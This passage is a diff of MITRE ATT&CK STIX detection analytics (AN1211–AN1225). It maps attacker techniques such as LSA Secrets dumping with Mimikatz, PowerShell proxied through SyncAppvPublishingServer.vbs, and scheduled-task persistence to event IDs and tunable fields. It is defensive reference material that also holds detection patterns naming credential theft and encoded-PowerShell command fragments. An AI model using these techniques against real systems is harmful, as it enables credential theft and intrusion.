+ ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0a847430-f140-419e-b0fe-bd891bde85a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0436#AN1211", + "external_id": "AN1211" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1211", + "description": "Modification or replacement of service executables due to weak file or directory permissions. Defender observes file writes to service binary paths, unexpected modifications of executables associated with registered services, and subsequent service execution of attacker-supplied binaries under elevated permissions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:System", + "channel": "EventCode=7045" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredServices", + "description": "List of critical services and their expected executable paths for integrity checking." + }, + { + "field": "HashBaseline", + "description": "Baseline hashes of legitimate service executables for tamper detection." + }, + { + "field": "TimeWindow", + "description": "Correlation interval between file modification of service executables and service execution." + }, + { + "field": "PrivilegedAccounts", + "description": "Accounts allowed to legitimately modify service executables." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a29288f5-c5d8-4e2d-8370-c4e21a64fc95", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0437#AN1212", + "external_id": "AN1212" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1212", + "description": "Detects adversary activity aimed at accessing LSA Secrets, including registry key export of HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets or memory scraping via tools such as Mimikatz or PowerSploit's Invoke-Mimikatz.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetObject", + "description": "Target registry paths like HKLM\\SECURITY\\Policy\\Secrets or variants can be tuned depending on OS version or registry redirection settings." + }, + { + "field": "ImageLoaded", + "description": "Module names such as `lsasrv.dll`, `sechost.dll`, or suspicious DLLs loaded by user processes may require tuning for known-good service operations." + }, + { + "field": "AccessMask", + "description": "Tuning based on whether processes are using specific sensitive access rights (e.g., 0x2 or 0x4)." + }, + { + "field": "TimeWindow", + "description": "Temporal window between registry access and command-line tool execution." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3f47f3e9-2856-4830-9762-7ca0c3924f6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0438#AN1213", + "external_id": "AN1213" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1213", + "description": "Detects suspicious custom compression/encryption routines through anomalous script or binary execution that produces high-entropy files without standard archiving utilities. Correlates script execution, memory API usage (bitwise ops, CryptoAPI calls), and creation of archive-like files with uncommon headers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyThreshold", + "description": "Minimum entropy level that flags suspicious custom archives." + }, + { + "field": "AllowedProcesses", + "description": "Known business processes performing encryption or compression." + }, + { + "field": "TimeWindow", + "description": "Correlation timeframe between script execution and file creation." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--32ca8e2c-9c1e-4883-aa98-439efbfc76e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0438#AN1214", + "external_id": "AN1214" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1214", + "description": "Detects custom archive routines by correlating script execution (Python, Perl, Bash) with creation of high-entropy files in temporary or user directories. Flags processes performing unusual bitwise operations or writing files without standard compression headers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of interpreters creating archive-like outputs without calling tar/gzip" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:FILE", + "channel": "create: Creation of files with anomalous headers and entropy levels in /tmp or user directories" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "linux:osquery", + "channel": "Detection of bitwise operations or custom encryption functions in memory traces" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ArchivePaths", + "description": "Directories monitored for anomalous archive creation (e.g., /tmp, /home)." + }, + { + "field": "EntropyThreshold", + "description": "Entropy score to flag files lacking recognizable compression headers." + }, + { + "field": "ScriptAllowlist", + "description": "Scripts/processes known to use custom compression methods." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1a39005f-28e7-4b07-85e2-14ffa0f6ea3b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0438#AN1215", + "external_id": "AN1215" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1215", + "description": "Detects custom archiving by monitoring execution of Swift/Objective-C apps or scripts producing high-entropy files with non-standard headers. Correlates unified logs of abnormal NSFileHandle/NSData operations, memory use of XOR/bitwise operations, and file creation events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Suspicious Swift/Objective-C or scripting processes writing archive-like outputs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "Creation of files with anomalous headers and entropy values" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "macos:unifiedlog", + "channel": "Abnormal memory operations (XOR/bitwise loops) during archive generation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Flag if archiving occurs under privileged/system accounts." + }, + { + "field": "EntropyThreshold", + "description": "Entropy score cutoff for identifying custom compressed or encrypted files." + }, + { + "field": "AllowedApps", + "description": "Applications legitimately using custom archiving for business purposes." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--143f3057-237e-427f-911a-2aa7d64721f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0439#AN1216", + "external_id": "AN1216" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1216", + "description": "Detects the relocation of malicious executables via copy/move actions across suspicious folders (e.g., from Downloads to System32), followed by deletion of the original source or renaming to blend into legitimate binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=23" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousTargetPathRegex", + "description": "Patterns like \\Windows\\*, \\System32\\*, or temp+execution directories" + }, + { + "field": "TimeWindow", + "description": "Correlate copy+rename+delete chains within 5-minute window" + }, + { + "field": "FileExtensionFilter", + "description": "Limit to .exe, .dll, .js, .bat unless context suggests otherwise" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--39aa9168-6f3b-4179-84f9-a6b8dcf90900", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0439#AN1217", + "external_id": "AN1217" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1217", + "description": "Detects binary movement or copying between untrusted and trusted paths (e.g., /tmp/ \u2192 /usr/bin/ or /etc/init.d/) that may indicate persistence attempts or cleanup of origin traces.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "PATH" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RelocationPathPatterns", + "description": "Match movement into known persistence or exclusion directories" + }, + { + "field": "BinaryEntropyThreshold", + "description": "Apply threshold to detect high-entropy relocations (e.g., packed malware)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--72540cd1-3ba6-4a4a-8866-a3113094196a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0439#AN1218", + "external_id": "AN1218" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1218", + "description": "Detects movement of binaries to `~/Library/`, `/System/`, or app bundle locations, especially after initial execution or download from Safari or Mail.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetBundlePathPattern", + "description": "Monitor relocation to .app/Contents/MacOS/ or ~/Library/Launch*" + }, + { + "field": "QuarantineFlagCheck", + "description": "Check for disappearance of com.apple.quarantine attribute post-move" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6b8a97fe-4e51-4409-9eab-f2795eb2ec74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0439#AN1219", + "external_id": "AN1219" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1219", + "description": "Detects firmware or script relocation attempts (e.g., CLI-based `copy`, `move`, or `rename`) between temporary partitions and config startup folders on routers or switches.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "command audit" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StartupConfigPath", + "description": "Targeted config folders like flash:/startup-config or nvram:" + }, + { + "field": "CommandPatternMatch", + "description": "e.g., `copy tftp flash`, `rename`, `move flash:/old.bin flash:/new.bin`" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a59042de-ecac-45bf-a852-af3df41b86d8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0440#AN1220", + "external_id": "AN1220" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1220", + "description": "Execution of SyncAppvPublishingServer.vbs through wscript.exe with a command-line containing embedded PowerShell, proxying malicious PowerShell execution through a Microsoft-signed VBScript interpreter to evade detection and restrictions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineRegex", + "description": "Detects embedded PowerShell commands in SyncAppvPublishingServer.vbs invocation, e.g., `{powershell -nop -enc ...}`" + }, + { + "field": "ScriptInterpreter", + "description": "May vary between `wscript.exe`, `cscript.exe`, or called via `cmd.exe`" + }, + { + "field": "PowerShellObfuscationScore", + "description": "Used to detect encoding, obfuscation, or entropy level in embedded PowerShell payloads" + }, + { + "field": "TimeWindow", + "description": "Time delta between VBScript proxy invocation and PowerShell payload execution" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4959f750-78db-4b4c-8d91-23027b386c2b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0441#AN1221", + "external_id": "AN1221" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1221", + "description": "Detects the creation, modification, or deletion of scheduled tasks through Task Scheduler, WMI, PowerShell, or API-based methods followed by execution from svchost.exe or taskeng.exe. Includes detection of hidden or anomalous scheduled tasks, especially those created under SYSTEM or suspicious user contexts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "WinEventLog:Security", + "channel": "EventCode=4698" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b", + "name": "WinEventLog:Security", + "channel": "EventCode=4702" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines threshold for grouping task creation and associated execution within suspicious time proximity." + }, + { + "field": "UserContext", + "description": "Filters based on non-standard user accounts or execution under SYSTEM when not typical for the environment." + }, + { + "field": "TaskNamePattern", + "description": "Allows defenders to flag obfuscated, randomized, or suspicious task names outside normal conventions." + }, + { + "field": "CommandLineEntropyThreshold", + "description": "Flags tasks executing heavily obfuscated PowerShell or binary blobs via base64 or encoding." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5b6f6588-3434-4199-b16f-af44ae546c3d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0442#AN1222", + "external_id": "AN1222" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1222", + "description": "Detection of anomalous registry modifications to Subject Interface Packages (SIPs) or trust provider DLL mappings, unexpected loading of non-Microsoft cryptographic modules, or attempts to redirect WinVerifyTrust validation logic. Defender view focuses on registry tampering, suspicious DLL loads into trusted processes, and abnormal trust validation failures correlated across event streams.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Application", + "channel": "81,3033" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RegistryPathBaselines", + "description": "Monitor for changes in Registry paths." + }, + { + "field": "TimeWindow", + "description": "Correlate between changes in Registry values, system files, and modules loaded." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d4a29d94-bce4-4069-a0b5-9e0e731cff97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0443#AN1223", + "external_id": "AN1223" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1223", + "description": "Detects anomalous process execution patterns where a process's parent terminates quickly after process creation or is re-parented to 'init' (PID 1), often indicating double-fork or daemon-style detachment. These behaviors sever the parent-child relationship and obscure the execution origin in process tree analysis.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "fork/clone/daemon syscall tracing" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve of re-parented process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Maximum time between parent and child process creation and parent process termination" + }, + { + "field": "ReparentingDetectionScope", + "description": "Scope for detecting unexpected re-parenting to init/systemd" + }, + { + "field": "ExecutableScope", + "description": "Subset of monitored executables or services likely to abuse double-fork" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--269ab5e4-4c45-4f7a-8d82-c235492ff83a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0443#AN1224", + "external_id": "AN1224" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1224", + "description": "Detects execution patterns where a child process is detached from its original parent, often showing up under 'launchd' (PID 1) with no parent lineage. These breakages in the process tree are indicative of evasive techniques using `daemon()`, `fork()` or background execution flags.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process creation with parent PID of 1 (launchd)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "fs:fsusage", + "channel": "Detached process execution with no associated parent" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AnomalyParentPID", + "description": "Triggering PID used to flag abnormal child adoption (commonly PID 1)" + }, + { + "field": "AllowedServices", + "description": "Allowlist of background daemons legitimately using launchd as parent" + }, + { + "field": "ProcessNameEntropy", + "description": "Entropy score threshold for abnormal process names in detached state" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--908aa2d1-f1c0-456b-9c9f-b984b309e51c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0444#AN1225", + "external_id": "AN1225" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1225", + "description": "Detects suspicious usage of common application-layer protocols (e.g., HTTP, HTTPS, DNS, SMB) by abnormal processes, with high outbound byte counts or irregular ports, possibly indicating command and control or data exfiltration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "http, dns, smb, ssl logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProtocolList", + "description": "Limit detection to app-layer protocols of interest: HTTP, DNS, SSL, SMB, RDP" + }, + { + "field": "DataVolumeThreshold", + "description": "Detects asymmetric communication volume (e.g., >90% outbound)" + }, + { + "field": "UnusualProcessList", + "description": "Track processes not normally associated with network activity" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": 